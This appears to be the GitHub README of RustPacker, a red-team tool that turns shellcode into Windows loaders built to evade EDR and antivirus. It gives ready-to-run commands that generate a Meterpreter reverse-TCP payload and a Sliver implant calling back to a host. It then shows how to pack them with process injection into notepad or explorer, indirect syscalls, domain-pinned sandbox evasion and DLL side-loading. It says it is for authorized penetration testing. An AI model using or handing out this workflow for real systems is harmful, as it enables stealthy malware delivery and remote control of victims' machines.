Skip to content

Nariod/RustPacker

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

215 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation



Turn raw shellcode into evasive Windows binaries β€” in one command, from any OS.
Designed for authorized penetration testers and red team operators.


πŸ€” New here? Start with this section

What is RustPacker?

Shellcode is a small blob of machine code that a C2 framework (Metasploit, Sliver, Cobalt Strike…) generates as a payload. By itself it's just bytes β€” it needs a loader to run it on a target Windows machine.

RustPacker is that loader generator. It takes your shellcode, wraps it in a Rust program that handles:

  • Encryption β€” so the payload looks like random bytes on disk and in memory
  • Injection β€” so the code is mapped into a Windows process and executed
  • Evasion β€” so EDR/AV sensors are less likely to catch it

The result is a .exe or .dll that you deliver to your target during an authorized engagement.

Glossary for newcomers

Term Meaning
Shellcode Raw machine-code payload produced by a C2 framework
Loader / Packer Program that decrypts and executes shellcode at runtime
EDR / AV Endpoint Detection & Response / Anti-Virus β€” security sensors on the target host
Injection Technique used to map and run code inside a Windows process
Syscall Direct call to the Windows kernel, bypassing user-mode hooks placed by EDRs
C2 Framework Command & Control software used to manage implants (Metasploit, Sliver, etc.)

✨ Key Features

  • Multiple Injection Templates β€” CRT, APC, Fibers, EarlyCascade…
  • Encryption β€” XOR, AES-256, UUID encoding
  • Syscall Evasion β€” indirect syscalls to bypass EDR user-mode hooks
  • EXE & DLL output β€” including DLL proxying / side-loading
  • Sandbox Evasion β€” domain pinning prevents detonation in analysis sandboxes
  • Cross-Platform Build β€” works on Linux, Windows, macOS via Podman or Docker

βš™οΈ How It Works

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  YOUR HOST (any OS)                                                   β”‚
β”‚                                                                       β”‚
β”‚  shellcode.raw  ──►  RustPacker  ──►  Rust project (generated)       β”‚
β”‚                         β”‚                                             β”‚
β”‚                   encrypt + embed                                     β”‚
β”‚                   shellcode bytes                                     β”‚
β”‚                         β”‚                                             β”‚
β”‚                         β–Ό                                             β”‚
β”‚            β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                               β”‚
β”‚            β”‚  Container (Linux)      β”‚                               β”‚
β”‚            β”‚  cargo build            β”‚                               β”‚
β”‚            β”‚  x86_64-pc-windows-gnu  β”‚                               β”‚
β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                               β”‚
β”‚                         β”‚                                             β”‚
β”‚                         β–Ό                                             β”‚
β”‚              payload.exe  /  payload.dll                             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

RustPacker works in two stages:

  1. Assembly (on your host): Reads your shellcode, encrypts it, and generates a complete Rust project from the selected template.
  2. Compilation (in a container): Automatically detects Podman or Docker and cross-compiles the project to a Windows PE binary using mingw inside a Linux container. Falls back to local cargo build if no container runtime is available.

You can work from any OS β€” the heavy lifting always happens inside a reproducible Linux container.


πŸš€ Quick Start (Linux β€” Recommended Path)

Other platforms: see the macOS instructions or the Windows accordion below.

Step 1 β€” Install Podman

# Ubuntu / Debian
sudo apt install podman

# Fedora / RHEL
sudo dnf install podman

Verify: podman --version

Step 2 β€” Clone & Build the Container

git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile

This step is done once. The image is then cached locally.

Step 3 β€” Your First Build

  1. Generate a test shellcode with msfvenom (a harmless MessageBox popup β€” safe to use on your own machine):
msfvenom -p windows/x64/messagebox TEXT="RustPacker works!" TITLE="Test" -f raw -o shared/test.raw
  1. Pack it:
podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker \
  -f shared/test.raw -i ntcrt -e aes -b exe -t notepad.exe
  1. Find your binary:
[+] Source binary has been renamed to: "shared/output_1234567890/target/x86_64-pc-windows-gnu/release/AbCdEfGh.exe"

The compiled .exe is inside shared/output_<timestamp>/target/x86_64-pc-windows-gnu/release/.

Create an Alias for Convenience

Add this to your ~/.bashrc or ~/.zshrc to avoid typing the full podman run command every time:

alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'

Then use it directly:

rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exe
πŸͺŸ Windows setup instructions

Step 1: Install a Container Runtime

Option A β€” Podman Desktop (Recommended):

  1. Download and install Podman Desktop
  2. Launch Podman Desktop and follow the guided setup to initialize a Podman machine
  3. Verify: podman --version

Option B β€” Docker Desktop:

  1. Download and install Docker Desktop
  2. Enable WSL 2 backend during installation (recommended)
  3. Verify: docker --version

Step 2: Clone & Build

git clone https://github.com/Nariod/RustPacker.git
cd RustPacker
podman build -t rustpacker -f Dockerfile

Step 3: Pack Shellcode

# Place your shellcode in the shared folder
copy C:\path\to\payload.raw shared\

# PowerShell
podman run --rm -v ${PWD}/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker `
  -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe

# cmd.exe
podman run --rm -v %cd%/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ^
  -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe

PowerShell alias:

function rustpacker { podman run --rm -v "${PWD}/shared:/usr/src/RustPacker/shared:z" rustpacker RustPacker @args }
🍎 macOS setup instructions
brew install podman
podman machine init
podman machine start

git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile

alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
πŸ¦€ Alternative: Native Mode (Rust toolchain required)

If you already have Rust installed, you can run RustPacker directly without building the container first. It will automatically detect Podman or Docker and use a container only for cross-compilation:

git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo build --release

# Linux / macOS
cargo run -- -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe

# Windows (PowerShell)
cargo run -- -f shared\your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe

The first run builds the rustpacker-builder image once. Subsequent runs reuse the cached image and a shared cargo registry volume for fast builds.


πŸ› οΈ Choosing a Template

Not sure which -i value to use? Answer these two questions:

I want to… Recommended template
Inject into another process (e.g. notepad, explorer) ntcrt (stealthy) or syscrt (max evasion)
Run inside the current process (self-injection) ntapc or ntfiber
Run as a DLL that fires on load ntapc, winfiber, ntfiber, or sysfiber
Maximum syscall evasion syscrt (remote) or sysfiber (self)
Minimal dependencies, quick test wincrt (remote) or winfiber (self)
Shim engine / EarlyCascade technique earlycascade

Process Injection Templates (use with -t <process>)

These inject shellcode into a remote process. Default target: dllhost.exe.

Template API Level Indirect Syscalls Dynamic API Description
wincrt High (Windows-rs) ❌ ❌ CreateRemoteThread via the official Windows crate
ntcrt Low (ntapi) ❌ βœ… NtCreateThreadEx via dynamic NT API resolution
syscrt Syscall βœ… ❌ NtCreateThreadEx via indirect syscalls
earlycascade Low (winapi) ❌ ❌ EarlyCascade injection via shim engine callback hijacking

Self-Execution Templates (no -t needed)

These execute shellcode within the current process.

Template API Level Indirect Syscalls Dynamic API Description
ntapc Low (ntapi) ❌ βœ… Queue APC to current thread via dynamic NT API resolution
winfiber High (windows-sys) ❌ ❌ Fiber-based execution via Windows API
ntfiber Low (ntapi + windows-sys) ❌ βœ… Fiber-based execution via dynamic NT API resolution
sysfiber Syscall (ntapi + windows-sys) βœ… ❌ Fiber-based execution via indirect syscalls

πŸ“– Command Line Options

Usage: RustPacker -f <FILE> -b <FORMAT> -i <TEMPLATE> -e <ENCRYPTION> [OPTIONS]

Required:
  -f <FILE>         Path to the raw shellcode file
  -i <TEMPLATE>     Injection template: ntapc, ntcrt, syscrt, wincrt, winfiber, ntfiber, sysfiber, earlycascade
  -e <ENCRYPTION>   Encryption method: xor, aes, uuid
  -b <FORMAT>       Output binary format: exe, dll

Optional:
  -t <PROCESS>      Target process to inject into (default: dllhost.exe, CRT templates only)
  -s <DOMAIN>       Domain pinning: only execute on the specified domain name
  -p <DLL_PATH>     DLL proxying: path to legitimate DLL to proxy, placed in shared/ (requires -b dll, self-injection templates only)
  -o <PATH>         Custom output path for the resulting binary
  -h                Print help
  -V                Print version

πŸ“‹ Usage Examples

Generate Shellcode

Metasploit (msfvenom):

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw -o shared/payload.raw

Sliver:

# In Sliver console
generate --mtls 192.168.1.100:443 --format shellcode --os windows --evasion
# Then copy the generated .bin file to the shared/ folder

Packing Examples

The examples below use the rustpacker alias defined in the Quick Start section. Replace it with the full podman run ... command if you haven't set up the alias.

Basic EXE with AES encryption (remote injection into notepad):

rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe

DLL with XOR encryption (self-injection via APC):

rustpacker -f shared/payload.raw -i ntapc -e xor -b dll

Using indirect syscalls (remote injection into explorer):

rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exe

UUID encoding (shellcode hidden as UUID strings):

rustpacker -f shared/payload.raw -i ntcrt -e uuid -b exe -t notepad.exe

With domain pinning (only detonates on MYDOMAIN):

rustpacker -f shared/payload.raw -i winfiber -e aes -b exe -s MYDOMAIN

Custom output path:

rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -o shared/my_binary.exe

DLL proxying (side-loading):

# 1. Copy the DLL you want to proxy into the shared/ folder (required for container access)
cp /mnt/c/Windows/System32/version.dll shared/   # from WSL
# or: copy C:\Windows\System32\version.dll shared\  # from Windows

# 2. Proxy version.dll β€” compatible with self-injection templates only (ntapc, winfiber, ntfiber, sysfiber)
rustpacker -f shared/payload.raw -i ntfiber -e aes -b dll -p shared/version.dll

The proxy DLL forwards all exports to the renamed original (version_orig.dll) and executes your shellcode on load via DllMain. Deploy by placing the proxy DLL alongside the target application with the original DLL renamed (e.g., version.dll β†’ version_orig.dll).

Note: The -p path must be accessible from within the container. Since only shared/ is volume-mounted, always place the DLL to proxy inside shared/.


πŸ”’ Detection Evasion

RustPacker implements several evasion techniques:

  • No RWX Memory: Memory is allocated as RW, written, then re-protected as RX only β€” never RWX. This eliminates a major behavioral detection signal used by EDR/AV.
  • Dynamic API Resolution (nt* templates): NT API functions are resolved at runtime via GetProcAddress with XOR-obfuscated function names (random key per build). This removes suspicious ntdll imports from the PE import table.
  • Indirect Syscalls: Bypass user-mode hooks (syscrt, sysfiber templates)
  • Payload Encryption: XOR encoding, AES-256-CBC encryption, or UUID-based encoding
  • Process Injection: Hide execution in legitimate processes
  • Domain Pinning: Only detonate on a specific domain (sandbox evasion)
  • Silent Failures: No descriptive error messages in the binary β€” all failures exit silently to avoid IoC string detection
  • Template Variety: Multiple execution methods to avoid static signatures
  • Rust Compilation: Native binaries with stripped symbols and LTO

⚠️ Breaking Change: Since RWX (PAGE_EXECUTE_READWRITE) is no longer used, self-modifying / dynamic shellcode is not supported. Only static shellcode payloads are compatible. Most C2 frameworks (Metasploit, Sliver, Cobalt Strike, Havoc) generate static shellcode by default β€” this should not affect typical usage.


βš™οΈ Local Installation (Without Containers)

If you prefer to compile without containers (Linux only):

Prerequisites

# Ubuntu/Debian
sudo apt update && sudo apt upgrade -y
sudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev

# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
rustup target add x86_64-pc-windows-gnu

Build and Run

git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo run -- -f shared/payload.raw -i ntcrt -e xor -b exe -t explorer.exe

When no container runtime is detected, RustPacker falls back to local compilation automatically.


🐳 Why Podman over Docker?

We recommend using Podman instead of Docker for security reasons:

  • Rootless containers by default
  • No daemon running as root
  • Better security isolation

🀝 Contributing

Contributions are welcome! Here's how you can help:

  1. Code Review: Review the codebase for improvements
  2. Issues: Report bugs or request features
  3. Templates: Contribute new injection techniques
  4. Documentation: Improve documentation and examples

Development Roadmap

  • Multiple injection templates
  • XOR, AES, and UUID encryption/encoding
  • Indirect syscalls support
  • EXE and DLL output formats
  • Docker containerization
  • Domain pinning, thanks to m4r1u5-p0p !
  • Indirect syscalls for fiber templates
  • Cross-platform support (Linux, Windows, macOS)
  • String encryption (litcrypt)
  • Check DLL support for all templates
  • Add EarlyCascade injection template
  • Add DLL proxying support
  • prepare integration with mythic c2

πŸ™ Acknowledgments


πŸ“„ License & Legal Notice

⚠️ IMPORTANT DISCLAIMER ⚠️

This tool is provided for educational and authorized penetration testing purposes only.

  • Usage against targets without prior mutual consent is illegal
  • Users are responsible for complying with all applicable laws
  • Developers assume no liability for misuse or damages
  • Only use in authorized environments with proper permission

Use responsibly and ethically.


Made with ❀️ for the cybersecurity community

Report Issues β€’ Contribute β€’ Documentation

About

Template-based shellcode packer written in Rust, with indirect syscall support. Made with <3 for pentesters.

Topics

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages